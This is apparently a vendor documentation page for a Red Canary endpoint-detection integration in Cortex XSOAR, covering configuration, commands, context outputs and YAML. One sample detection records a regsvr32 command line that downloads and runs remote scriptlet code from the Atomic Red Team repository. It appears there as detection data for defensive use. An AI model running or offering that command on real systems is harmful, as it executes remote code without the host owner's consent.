RedCanary

Red Canary collects endpoint data using Carbon Black Response and CrowdStrike Falcon. The collected data is standardized into a common schema which allows teams to detect, analyze and respond to security incidents.

Deception & Breach Simulation · Red Canary

Details

ID	`RedCanary`
Provider	Zscaler
Category	Deception & Breach Simulation
From Version	5.0.0
Docker Image	`demisto/python3:3.12.13.10116658`
Supported Modules	Agentix XSIAM

README

Overview

Red Canary collects endpoint data using Carbon Black Response and CrowdStrike Falcon. The collected data is standardized into a common schema, which allows teams to detect, analyze and respond to security incidents.

Configure RedCanary on Cortex XSOAR

Navigate to Settings > Integrations > Servers & Services.
Search for RedCanary.
Click Add instance to create and configure a new integration instance.
- Name: a textual name for the integration instance.
- Domain (e.g., https://xsoar.my.redcanary.co)
- API Key
- Fetch incidents
- Incident type
- Use system proxy settings
- Trust any certificate (not secure)
Click Test to validate the URLs, token, and connection.

Fetched Incidents Data

Type: RedCanaryDetection
ID
Headline
Severity
Summary
Classification
Subclassification
Time
Acknowledged
RemediationStatus

Commands

You can execute these commands from the Cortex XSOAR CLI, as part of an automation, or in a playbook.
After you successfully execute a command, a DBot message appears in the War Room with the command details.

Acknowledge a detection: redcanary-acknowledge-detection
Update the remediation state of a detection: redcanary-update-remediation-state
Get a list of detections: redcanary-list-detections
Get a list of endpoints: redcanary-list-endpoints
Execute a playbook on a detection: redcanary-execute-playbook
Get an endpoint by endpoint ID: redcanary-get-endpoint
Get a list of detections: redcanary-get-endpoint-detections
Get a detection by the detection ID: redcanary-get-detection

1. Acknowledge a detection

Mark a detection as acknowledged to inform that it is being handled.

Base Command

redcanary-acknowledge-detection

Input

Argument Name	Description	Required
id	Detection ID. Can be obtained from the context.	Required

Context Output

There is no context output for this command.

Command Example

!redcanary-acknowledge-detection id=4

Human Readable Output

2. Update the remediation state of a detection

Updates the remediation state of a detection.

Base Command

redcanary-update-remediation-state

Input

Argument Name	Description	Required
id	Detection ID. Can be obtained from the context.	Required
remediation-state	How the detection was remediated.	Required
comment	Description of why and how the detection was remediated. This is ignored for remediated state.	Optional

Context Output

There is no context output for this command.

Command Example

!redcanary-update-remediation-state id=4 remediation-state=not_remediated_false_positive comment="updated by DBot"

Human Readable Output

3. Get a list of detections

Get a list of confirmed detections.

Base Command

redcanary-list-detections

Input

Argument Name	Description	Required
page	The page results to fetch. Default is first page.	Optional
per-page	Number of results to return per page	Optional

Context Output

Path	Type	Description
RedCanary.Detection.ID	number	Detection ID
RedCanary.Detection.Headline	string	Human-readable text about the detection
RedCanary.Detection.Severity	string	The severity level of the detection (High, medium, or Low)
RedCanary.Detection.Summary	string	A summary of information about the detection
RedCanary.Detection.Classification	string	Detection classification
RedCanary.Detection.Subclassification	string	Detection sub-classification
RedCanary.Detection.Time	date	The time the detection was confirmed as a threat by Red Canary
RedCanary.Detection.Acknowledged	boolean	Whether or not the detection is acknowledged
RedCanary.Detection.RemediationStatus	string	The state the detection is currently in
RedCanary.Detection.Reason	string	The reason for the detection
RedCanary.Detection.EndpointUserID	number	The ID of the user in the infected endpoint
RedCanary.Detection.EndpointID	number	The ID of the endpoint infected in the detection
Endpoint.Hostname	string	Fully-qualified endpoint hostname
Endpoint.ID	string	Endpoint ID
Endpoint.IPAddress	unknown	IP address of the endpoint
Endpoint.MACAddress	unknown	MAC address of the endpoint
Endpoint.OS	string	The operating system used by the endpoint
Endpoint.OSVersion	string	The complete operating system version identifier used by the endpoint
Endpoint.Memory	number	Physical memory of the endpoint in bytes
Endpoint.IsIsolated	boolean	Whether or not the endpoint is currently network isolated
Endpoint.IsDecommissioned	boolean	Whether or not the endpoint is decommissioned
Account.Username	string	Endpoint user name
Account.Hostname	string	Endpoint host name

Command Example

!redcanary-list-detections page=1 per-page=1

Context Example

{
    "Account": {
        "Username": "administrator",
        "Hostname": "xsoar-host"
    },
    "Endpoint": {
        "MACAddress": [
            "08:29:42:f0:b3:7c"
        ],
        "OS": "Windows",
        "Hostname": "xsoar-host",
        "IsDecommissioned": true,
        "IsIsolated": true,
        "OSVersion": "Windows Server 2016 Server Datacenter, 64-bit",
        "IPAddress": [
            "181.61.87.106"
        ],
        "ID": 2
    },
    "RedCanary": {
        "Detection": [
            {
                "Severity": "medium",
                "Classification": "Suspicious Activity",
                "Acknowledged": true,
                "Subclassification": [
                    "Process"
                ],
                "Summary": "The Windows Task Scheduler Configuration Tool was launched via command prompt and leveraged to create multiple suspicious scheduled tasks.",
                "Headline": "[DEM-6] Suspicious Activity (Process)",
                "Time": "2018-09-12T15:38:17Z",
                "Type": "RedCanaryDetection",
                "ID": 6
            },
        ]
    },
}

Human Readable Output

4. Get a list of endpoints

Returns a list of endpoints.

Base Command

redcanary-list-endpoints

Input

Argument Name	Description	Required
page	Page number in the query response. Default is 1.	Optional
per-page	Number of returned results per page. Default is 50	Optional

Context Output

Path	Type	Description
Endpoint.Hostname	string	Fully-qualified endpoint hostname
Endpoint.ID	string	Endpoint ID
Endpoint.IPAddress	unknown	IP address of the endpoint
Endpoint.MACAddress	unknown	MAC address of the endpoint
Endpoint.OS	string	The operating system used by the endpoint
Endpoint.OSVersion	string	The complete operating system version identifier used by the endpoint
Endpoint.Memory	number	Physical memory of the endpoint in bytes
Endpoint.IsIsolated	boolean	Whether or not the endpoint is currently network isolated
Endpoint.IsDecommissioned	boolean	Whether or not the endpoint is decommissioned

Command Example

!redcanary-list-endpoints

Context Example

{
    "EndPoint": [
        {
            "MACAddress": [
                "06:79:02:e0:b0:7c"
            ],
            "OS": "Windows",
            "Hostname": "ec2amaz-tmlcd45",
            "IsDecommissioned": true,
            "IsIsolated": true,
            "OSVersion": "Windows Server 2016 Server Datacenter, 64-bit",
            "IPAddress": [
                "172.31.37.106"
            ],
            "ID": 2
        },
}

Human Readable Output

5. Execute a playbook on a detection

Execute a predefined playbook on a detection.

Base Command

redcanary-execute-playbook

Input

Argument Name	Description	Required
playbook-id	Playbook ID of the playbook to execute	Optional
detection-id	Detection ID of the detection to execute the playbook on. Can be retrieved from the context.	Required
playbook-name	Playbook name of the playbook to execute. If the playbook ID is specified, this is argument is ignored.	Optional

Context Output

There is no context output for this command.

Command Example

!redcanary-execute-playbook detection-id=4 playbook-name=Isolate

Human Readable Output

6. Get an endpoint by the endpoint ID

Get an endpoint by the endpoint ID.

Base Command

redcanary-get-endpoint

Input

Argument Name	Description	Required
id	Endpoint ID	Required

Context Output

Path	Type	Description
Endpoint.Hostname	string	Fully-qualified endpoint hostname
Endpoint.ID	string	Endpoint ID
Endpoint.IPAddress	unknown	IP address of the endpoint
Endpoint.MACAddress	unknown	MAC address of the endpoint
Endpoint.OS	string	The operating system used by the endpoint
Endpoint.OSVersion	string	The complete operating system version identifier used by the endpoint
Endpoint.Memory	number	Physical memory of the endpoint in bytes
Endpoint.IsIsolated	boolean	Whether or not the endpoint is currently network isolated
Endpoint.IsDecommissioned	boolean	Whether or not the endpoint is decommissioned

Command Example

!redcanary-get-endpoint id=2

Context Example

{
    "EndPoint": [
        {
            "MACAddress": [
                "06:79:02:e0:b0:7c"
            ],
            "OS": "Windows",
            "Hostname": "ec2amaz-tmlcd45",
            "IsDecommissioned": true,
            "IsIsolated": true,
            "OSVersion": "Windows Server 2016 Server Datacenter, 64-bit",
            "IPAddress": [
                "172.31.37.106"
            ],
            "ID": 2
        },
}

Human Readable Output

7. Get a list of detections

Get a list of detections associated with the endpoint.

Base Command

redcanary-get-endpoint-detections

Input

Argument Name	Description	Required
id	Endpoint ID	Required

Context Output

Path	Type	Description
RedCanary.Detection.ID	number	Detection ID
RedCanary.Detection.Headline	string	Human-readable text about the detection
RedCanary.Detection.Severity	string	The severity of the detection (High, medium, or Low)
RedCanary.Detection.Summary	string	A summary of information about the detection
RedCanary.Detection.Classification	string	Detection classification
RedCanary.Detection.Subclassification	string	Detection subclassification
RedCanary.Detection.Time	date	The time the detection was confirmed as a threat by Red Canary
RedCanary.Detection.Acknowledged	boolean	Whether or not the detection is acknowledged
RedCanary.Detection.RemediationStatus	string	The state the detection is currently in
Endpoint.Hostname	string	Fully-qualified endpoint hostname
Endpoint.ID	string	Endpoint ID
Endpoint.IPAddress	unknown	IP address of the endpoint
Endpoint.MACAddress	unknown	MAC address of the endpoint
Endpoint.OS	string	The operating system used by the endpoint
Endpoint.OSVersion	string	The complete operating system version identifier used by the endpoint
Endpoint.Memory	number	Physical memory of the endpoint in bytes
Endpoint.IsIsolated	boolean	Whether or not the endpoint is currently network isolated
Endpoint.IsDecommissioned	boolean	Whether or not the endpoint is decommissioned
Account.Username	string	Endpoint user name
Account.Hostname	string	Endpoint host name

Command Example

!redcanary-get-endpoint-detections id=4

Context Example

{
    "Account": {
        "Username": "administrator",
        "Hostname": "xsoar-host"
    },
    "Endpoint": {
        "MACAddress": [
            "08:29:42:f0:b3:7c"
        ],
        "OS": "Windows",
        "Hostname": "xsoar-host",
        "IsDecommissioned": true,
        "IsIsolated": true,
        "OSVersion": "Windows Server 2016 Server Datacenter, 64-bit",
        "IPAddress": [
            "181.61.87.106"
        ],
        "ID": 2
    },
    "RedCanary": {
        "Detection": [
            {
                "Severity": "medium",
                "Classification": "Suspicious Activity",
                "Acknowledged": true,
                "Subclassification": [
                    "Process"
                ],
                "Summary": "The Windows Task Scheduler Configuration Tool was launched via command prompt and leveraged to create multiple suspicious scheduled tasks.",
                "Headline": "[DEM-6] Suspicious Activity (Process)",
                "Time": "2018-09-12T15:38:17Z",
                "Type": "RedCanaryDetection",
                "ID": 6
            },
        ]
    },
}

Human Readable Output

8. Get a detection by the detection ID

Returns a detection by the detection ID.

Base Command

redcanary-get-detection

Input

Argument Name	Description	Required
id	Detection ID	Required

Context Output

Path	Type	Description
RedCanary.Detection.ID	number	Detection ID
RedCanary.Detection.Headline	string	Human-readable text about the detection
RedCanary.Detection.Severity	string	The severity of the detection. High, medium, or low
RedCanary.Detection.Summary	string	A summary of information about the detection
RedCanary.Detection.Classification	string	Detection classification
RedCanary.Detection.Subclassification	string	Detection subclassification
RedCanary.Detection.Time	date	The time the detection was confirmed as a threat by Red Canary
RedCanary.Detection.Acknowledged	boolean	Whether or not the detection is acknowledged
RedCanary.Detection.RemediationStatus	string	The state the detection is currently in
RedCanary.Detection.Reason	string	The reason for the detection
RedCanary.Detection.EndpointUserID	number	The ID of the user in the infected endpoint
RedCanary.Detection.EndpointID	number	The ID of the endpoint infected in the detection
Endpoint.Hostname	string	Fully-qualified endpoint hostname
Endpoint.ID	string	Endpoint ID
Endpoint.IPAddress	unknown	IP address of the endpoint
Endpoint.MACAddress	unknown	MAC address of the endpoint
Endpoint.OS	string	The operating system used by the endpoint
Endpoint.OSVersion	string	The complete operating system version identifier used by the endpoint
Endpoint.Memory	number	Physical memory of the endpoint in bytes
Endpoint.IsIsolated	boolean	Whether or not the endpoint is currently network isolated
Endpoint.IsDecommissioned	boolean	Whether or not the endpoint is decommissioned
Account.Username	string	Endpoint user name
Account.Hostname	string	Endpoint host name
Domain.Name	string	Domain name
File.Name	string	File name
File.MD5	string	File MD5
File.SHA256	string	File SHA-256
File.Path	string	File path in the endpoint
File.Extension	string	File extension
IP.Address	string	IP Address
IP.Port	string	Port
Process.Name	string	Process name
Process.Path	string	Process binary path
Process.MD5	string	Binary MD5
Process.SHA256	string	Binary SHA-256
Process.StartTime	date	Process execution time
Process.CommandLine	string	Process command line

Command Example

!redcanary-get-detection id=4

Context Example

{
    "Account": {
        "Username": "administrator",
        "Hostname": "ec2amaz-tmlcd45"
    },
    "Endpoint": {
        "MACAddress": [
            "06:79:02:e0:b0:7c"
        ],
        "OS": "Windows",
        "Hostname": "ec2amaz-tmlcd45",
        "IsDecommissioned": false,
        "IsIsolated": true,
        "OSVersion": "Windows Server 2016 Server Datacenter, 64-bit",
        "IPAddress": [
            "172.31.37.106"
        ],
        "ID": 4
    },
    "Process": {
        "Path": "c:\\windows\\system32\\regsvr32.exe",
        "CommandLine": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
        "Name": "c:\\windows\\system32\\regsvr32.exe",
        "StartTime": "2018-09-12T11:30:23Z",
        "MD5": "8cf9086be38a15e905924b4a45d814d9"
    },
    "IP": {
        "Port": 443,
        "Address": "151.101.12.133"
    },
    "Domain": {
        "Name": "raw.githubusercontent.com"
    },
    "RedCanary": {
        "Detection": {
            "Severity": "medium",
            "Classification": "Malicious Software",
            "Headline": "[DEM-4] Malicious Software",
            "Acknowledged": false,
            "Summary": "An instance of `Regsvr32` was leveraged to download Atomic Red Team code and execute it on this system.",
            "Time": "2018-09-12T11:15:55Z",
            "Type": "RedCanaryDetection",
            "ID": 4
        }
    },
    "File": [
        {
            "Path": "c:\\windows\\explorer.exe",
            "Name": "c:\\windows\\explorer.exe",
            "Extension": ".exe",
            "MD5": "a7190e945f2d00fe4af31289f4e64b8c"
        },
    ]
}

Human Readable Output

Configuration parameters

domain — Domain (for example, https://demisto.my.redcanary.co) (required)
api_key — API Key
api_key_creds —
isFetch — Fetch incidents
isFetchAcknowledged — Fetch acknowledged incidents
incidentType — Incident type
incidentFetchInterval — Incidents Fetch Interval
fetch_time — First fetch timestamp (<number> <time unit>, e.g., 12 hours, 7 days)
proxy — Use system proxy settings
insecure — Trust any certificate (not secure)
fetch_limit — Maximum number of incidents to pull per fetch

Commands (8)

redcanary-acknowledge-detection
Mark a detection as acknowledged to inform that it's being handled.
redcanary-execute-playbook
Execute a predefined playbook on a detection.
redcanary-get-detection
Get a detection by unique identifier.
redcanary-get-endpoint
Get an endpoint by unique identifier.
redcanary-get-endpoint-detections
Get a list of detections associated with the endpoint.
redcanary-list-detections
Get a list of confirmed detections.
redcanary-list-endpoints
Get a list of endpoints.
redcanary-update-remediation-state
Update the remediation state of a detection.

Source

RedCanary.py RedCanary_test.py RedCanary.yml RedCanary_description.md

Download History Raw

commonfields:
  id: RedCanary
  version: -1
name: RedCanary
display: Red Canary
category: Deception & Breach Simulation
provider: Zscaler
sectionorder:
- Connect
- Collect
description: Red Canary collects endpoint data using Carbon Black Response and CrowdStrike Falcon.  The collected data is standardized into a common schema which allows teams to detect, analyze and respond to security incidents.
configuration:
- display: Domain (for example, https://demisto.my.redcanary.co)
  name: domain
  defaultvalue: ""
  type: 0
  required: true
  section: Connect
- display: API Key
  name: api_key
  defaultvalue: ""
  type: 4
  hidden: true
  required: false
  section: Connect
- name: api_key_creds
  type: 9
  displaypassword: API Key
  hiddenusername: true
  required: false
  section: Connect
- display: Fetch incidents
  name: isFetch
  type: 8
  required: false
  section: Collect
- display: Fetch acknowledged incidents
  additionalinfo: "By default, only unacknowledged incidents are fetched. Set to true to fetch all incidents."
  name: isFetchAcknowledged
  type: 8
  required: false
  defaultvalue: 'false'
  section: Collect
- display: Incident type
  name: incidentType
  type: 13
  required: false
  section: Collect
- display: Incidents Fetch Interval
  name: incidentFetchInterval
  defaultvalue: '1'
  required: false
  type: 19
  section: Collect
  advanced: true
- display: First fetch timestamp (<number> <time unit>, e.g., 12 hours, 7 days)
  name: fetch_time
  type: 0
  defaultvalue: 3 days
  required: false
  section: Collect
- display: Use system proxy settings
  name: proxy
  type: 8
  required: false
  section: Connect
- display: Trust any certificate (not secure)
  name: insecure
  type: 8
  required: false
  section: Connect
- display: Maximum number of incidents to pull per fetch
  name: fetch_limit
  type: 0
  defaultvalue: "2"
  section: Collect
  additionalinfo: A maximum detections to fetch in each iteration.
  required: false
script:
  script: ''
  type: python
  subtype: python3
  dockerimage: demisto/python3:3.12.13.10116658
  commands:
  - name: redcanary-acknowledge-detection
    arguments:
    - name: id
      required: true
      default: true
      description: Detection ID. Can be obtained from the context.
    description: Mark a detection as acknowledged to inform that it's being handled.
  - name: redcanary-update-remediation-state
    arguments:
    - name: id
      required: true
      default: true
      description: Detection ID. Can be obtained from the context.
    - name: remediation-state
      required: true
      auto: PREDEFINED
      predefined:
      - remediated
      - not_remediated_false_positive
      - not_remediated_sanctioned_activity
      - not_remediated_unwarranted
      description: The way in which the detection was remediated.
    - name: comment
      description: Describe the reason why the detection was remediated in this manner. This is ignored for 'remediated' state.
      defaultValue: remediated by Demisto.
    description: Update the remediation state of a detection.
  - name: redcanary-list-detections
    arguments:
    - name: page
      description: What page of results to fetch. Defaults to first page.
    - name: per-page
      description: How many results to return per page.
    outputs:
    - contextPath: RedCanary.Detection.ID
      description: Detection ID.
      type: number
    - contextPath: RedCanary.Detection.Headline
      description: Human readable text about the detection.
      type: string
    - contextPath: RedCanary.Detection.Severity
      description: The severity of the detection. High, medium, or low.
      type: string
    - contextPath: RedCanary.Detection.Summary
      description: A summary of information about the detection.
      type: string
    - contextPath: RedCanary.Detection.Classification
      description: Detection Classification.
      type: string
    - contextPath: RedCanary.Detection.Subclassification
      description: Detection Subclassification.
      type: string
    - contextPath: RedCanary.Detection.Time
      description: The time the detection was confirmed as a threat by Red Canary.
      type: date
    - contextPath: RedCanary.Detection.Acknowledged
      description: Whether or not the detection is acknowledged.
      type: boolean
    - contextPath: RedCanary.Detection.RemediationStatus
      description: The state the detection is currently in.
      type: string
    - contextPath: RedCanary.Detection.Reason
      description: The reason for the detection.
      type: String
    - contextPath: RedCanary.Detection.EndpointUserID
      description: The ID of the user in the infected endpoint.
      type: Number
    - contextPath: RedCanary.Detection.EndpointID
      description: The ID of the endpoint infected in the detection.
      type: Number
    - contextPath: Endpoint.Hostname
      description: Fully-qualified endpoint hostname.
      type: string
    - contextPath: Endpoint.ID
      description: Endpoint ID.
      type: string
    - contextPath: Endpoint.IPAddress
      description: IP Address of the endpoint.
    - contextPath: Endpoint.MACAddress
      description: MAC address of the endpoint.
    - contextPath: Endpoint.OS
      description: The operating system platform used by the endpoint.
      type: string
    - contextPath: Endpoint.OSVersion
      description: The complete operating system version identifier used by the endpoint.
      type: string
    - contextPath: Endpoint.Memory
      description: Physical memory of the endpoint in bytes.
      type: number
    - contextPath: Endpoint.IsIsolated
      description: Whether or not the endpoint is currently network isolated.
      type: boolean
    - contextPath: Endpoint.IsDecommissioned
      description: Whether or not the endpoint is decommissioned.
      type: boolean
    - contextPath: Account.Username
      description: Endpoint user name.
      type: string
    - contextPath: Account.Hostname
      description: Endpoint host name.
      type: string
    description: Get a list of confirmed detections.
  - name: redcanary-list-endpoints
    arguments:
    - name: page
      description: Page number in the query response. Default is 1.
      defaultValue: "1"
    - name: per-page
      description: Number of returned results per page. Default is 50.
      defaultValue: "50"
    outputs:
    - contextPath: Endpoint.Hostname
      description: Fully-qualified endpoint hostname.
      type: string
    - contextPath: Endpoint.ID
      description: Endpoint ID.
      type: string
    - contextPath: Endpoint.IPAddress
      description: IP Address of the endpoint.
    - contextPath: Endpoint.MACAddress
      description: MAC Address of the endpoint.
    - contextPath: Endpoint.OS
      description: The operating system platform used by the endpoint.
      type: string
    - contextPath: Endpoint.OSVersion
      description: The complete operating system version identifier used by the endpoint.
      type: string
    - contextPath: Endpoint.Memory
      description: Physical memory of the endpoint in bytes.
      type: number
    - contextPath: Endpoint.IsIsolated
      description: Whether or not the endpoint is currently network isolated.
      type: boolean
    - contextPath: Endpoint.IsDecommissioned
      description: Whether or not the endpoint is decommissioned.
      type: boolean
    description: Get a list of endpoints.
  - name: redcanary-execute-playbook
    arguments:
    - name: playbook-id
      description: Playbook ID for execution.
    - name: detection-id
      required: true
      description: Detection to execute the playbook on. Can be retrieve from the context.
    - name: playbook-name
      description: Playbook name for execution. if playbook ID is specify, this is ignored.
    description: Execute a predefined playbook on a detection.
  - name: redcanary-get-endpoint
    arguments:
    - name: id
      required: true
      default: true
      description: Endpoint ID.
    outputs:
    - contextPath: Endpoint.Hostname
      description: Fully-qualified endpoint hostname.
      type: string
    - contextPath: Endpoint.ID
      description: Endpoint ID.
      type: string
    - contextPath: Endpoint.IPAddress
      description: IP Address of the endpoint.
    - contextPath: Endpoint.MACAddress
      description: MAC Address of the endpoint.
    - contextPath: Endpoint.OS
      description: The operating system platform used by the endpoint.
      type: string
    - contextPath: Endpoint.OSVersion
      description: The complete operating system version identifier used by the endpoint.
      type: string
    - contextPath: Endpoint.Memory
      description: Physical memory of the endpoint in bytes.
      type: number
    - contextPath: Endpoint.IsIsolated
      description: Whether or not the endpoint is currently network isolated.
      type: boolean
    - contextPath: Endpoint.IsDecommissioned
      description: Whether or not the endpoint is decommissioned.
      type: boolean
    description: Get an endpoint by unique identifier.
  - name: redcanary-get-endpoint-detections
    arguments:
    - name: id
      required: true
      default: true
      description: Endpoint ID.
    outputs:
    - contextPath: RedCanary.Detection.ID
      description: Detection ID.
      type: number
    - contextPath: RedCanary.Detection.Headline
      description: Human readable text about the detection.
      type: string
    - contextPath: RedCanary.Detection.Severity
      description: The severity of the detection. High, medium, or low.
      type: string
    - contextPath: RedCanary.Detection.Summary
      description: A summary of information about the detection.
      type: string
    - contextPath: RedCanary.Detection.Classification
      description: Detection Classification.
      type: string
    - contextPath: RedCanary.Detection.Subclassification
      description: Detection Subclassification.
      type: string
    - contextPath: RedCanary.Detection.Time
      description: The time the detection was confirmed as a threat by Red Canary.
      type: date
    - contextPath: RedCanary.Detection.Acknowledged
      description: Whether or not the detection is acknowledged.
      type: boolean
    - contextPath: RedCanary.Detection.RemediationStatus
      description: The state the detection is currently in.
      type: string
    - contextPath: Endpoint.Hostname
      description: Fully-qualified endpoint hostname.
      type: string
    - contextPath: Endpoint.ID
      description: Endpoint ID.
      type: string
    - contextPath: Endpoint.IPAddress
      description: IP Address of the endpoint.
    - contextPath: Endpoint.MACAddress
      description: MAC Address of the endpoint.
    - contextPath: Endpoint.OS
      description: The operating system platform used by the endpoint.
      type: string
    - contextPath: Endpoint.OSVersion
      description: The complete operating system version identifier used by the endpoint.
      type: string
    - contextPath: Endpoint.Memory
      description: Physical memory of the endpoint in bytes.
      type: number
    - contextPath: Endpoint.IsIsolated
      description: Whether or not the endpoint is currently network isolated.
      type: boolean
    - contextPath: Endpoint.IsDecommissioned
      description: Whether or not the endpoint is decommissioned.
      type: boolean
    - contextPath: Account.Username
      description: Endpoint user name.
      type: string
    - contextPath: Account.Hostname
      description: Endpoint host name.
      type: string
    description: Get a list of detections associated with the endpoint.
  - name: redcanary-get-detection
    arguments:
    - name: id
      required: true
      default: true
      description: Detection ID.
    outputs:
    - contextPath: RedCanary.Detection.ID
      description: Detection ID.
      type: number
    - contextPath: RedCanary.Detection.Headline
      description: Human readable text about the detection.
      type: string
    - contextPath: RedCanary.Detection.Severity
      description: The severity of the detection. High, medium, or low.
      type: string
    - contextPath: RedCanary.Detection.Summary
      description: A summary of information about the detection.
      type: string
    - contextPath: RedCanary.Detection.Classification
      description: Detection Classification.
      type: string
    - contextPath: RedCanary.Detection.Subclassification
      description: Detection Subclassification.
      type: string
    - contextPath: RedCanary.Detection.Time
      description: The time the detection was confirmed as a threat by Red Canary.
      type: date
    - contextPath: RedCanary.Detection.Acknowledged
      description: Whether or not the detection is acknowledged.
      type: boolean
    - contextPath: RedCanary.Detection.RemediationStatus
      description: The state the detection is currently in.
      type: string
    - contextPath: RedCanary.Detection.Reason
      description: The reason for the detection.
      type: String
    - contextPath: RedCanary.Detection.EndpointUserID
      description: The ID of the user in the infected endpoint.
      type: Number
    - contextPath: RedCanary.Detection.EndpointID
      description: The ID of the endpoint infected in the detection.
      type: Number
    - contextPath: Endpoint.Hostname
      description: Fully-qualified endpoint hostname.
      type: string
    - contextPath: Endpoint.ID
      description: Endpoint ID.
      type: string
    - contextPath: Endpoint.IPAddress
      description: IP Address of the endpoint.
    - contextPath: Endpoint.MACAddress
      description: MAC Address of the endpoint.
    - contextPath: Endpoint.OS
      description: The operating system platform used by the endpoint.
      type: string
    - contextPath: Endpoint.OSVersion
      description: The complete operating system version identifier used by the endpoint.
      type: string
    - contextPath: Endpoint.Memory
      description: Physical memory of the endpoint in bytes.
      type: number
    - contextPath: Endpoint.IsIsolated
      description: Whether or not the endpoint is currently network isolated.
      type: boolean
    - contextPath: Endpoint.IsDecommissioned
      description: Whether or not the endpoint is decommissioned.
      type: boolean
    - contextPath: Account.Username
      description: Endpoint user name.
      type: string
    - contextPath: Account.Hostname
      description: Endpoint host name.
      type: string
    - contextPath: Domain.Name
      description: Domain name.
      type: string
    - contextPath: File.Name
      description: File name.
      type: string
    - contextPath: File.MD5
      description: File MD5.
      type: string
    - contextPath: File.SHA256
      description: File SHA256.
      type: string
    - contextPath: File.Path
      description: File path in the endpoint.
      type: string
    - contextPath: File.Extension
      description: File extension.
      type: string
    - contextPath: IP.Address
      description: IP Address.
      type: string
    - contextPath: IP.Port
      description: Port.
      type: string
    - contextPath: Process.Name
      description: Process name.
      type: string
    - contextPath: Process.Path
      description: process binary path.
      type: string
    - contextPath: Process.MD5
      description: Binary MD5.
      type: string
    - contextPath: Process.SHA256
      description: Binary SHA256.
      type: string
    - contextPath: Process.StartTime
      description: Process execution time.
      type: date
    - contextPath: Process.CommandLine
      description: Process command line.
      type: string
    description: Get a detection by unique identifier.
  isfetch: true
tests:
- RedCanaryTest
fromversion: 5.0.0